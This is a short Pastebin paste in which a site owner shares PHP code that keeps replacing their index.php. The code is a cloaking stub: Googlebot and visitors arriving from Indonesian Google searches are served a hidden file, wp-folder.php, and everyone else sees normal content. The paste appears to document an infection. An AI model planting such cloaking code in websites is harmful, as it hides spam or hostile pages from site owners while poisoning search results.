dualaudi

malware not detected

Sep 29th, 2025
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.00 KB | None | 0 0
  1. // keeps replacing my /public_html/index.php
  2. <?php
  3.  
  4. function is_google_bot() {
  5.     if (isset($_SERVER['HTTP_USER_AGENT'])) {
  6.         $user_agent = $_SERVER['HTTP_USER_AGENT'];
  7.         $google_agents = ['Googlebot', 'Mediapartners-Google', 'Google-InspectionTool'];
  8.         foreach ($google_agents as $agent) {
  9.             if (stripos($user_agent, $agent) !== false) {
  10.                 return true;
  11.             }
  12.         }
  13.     }
  14.     return false;
  15. }
  16. function is_from_indonesia_and_google() {
  17.     if (isset($_SERVER['HTTP_REFERER'])) {
  18.         $referer = $_SERVER['HTTP_REFERER'];
  19.         $accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
  20.         if (strpos($referer, 'google.co.id') !== false || (strpos($referer, 'google.com') !== false && strpos($accept_lang, 'id') !== false)) {
  21.             return true;
  22.         }
  23.     }
  24.     return false;
  25. }
  26. if (is_google_bot() || is_from_indonesia_and_google()) {
  27.     include __DIR__ . '/wp-folder.php';
  28. } else {
  29.     require __DIR__ . '/wp-header.php';
  30. }
Advertisement
Add Comment
Please, Sign In to add comment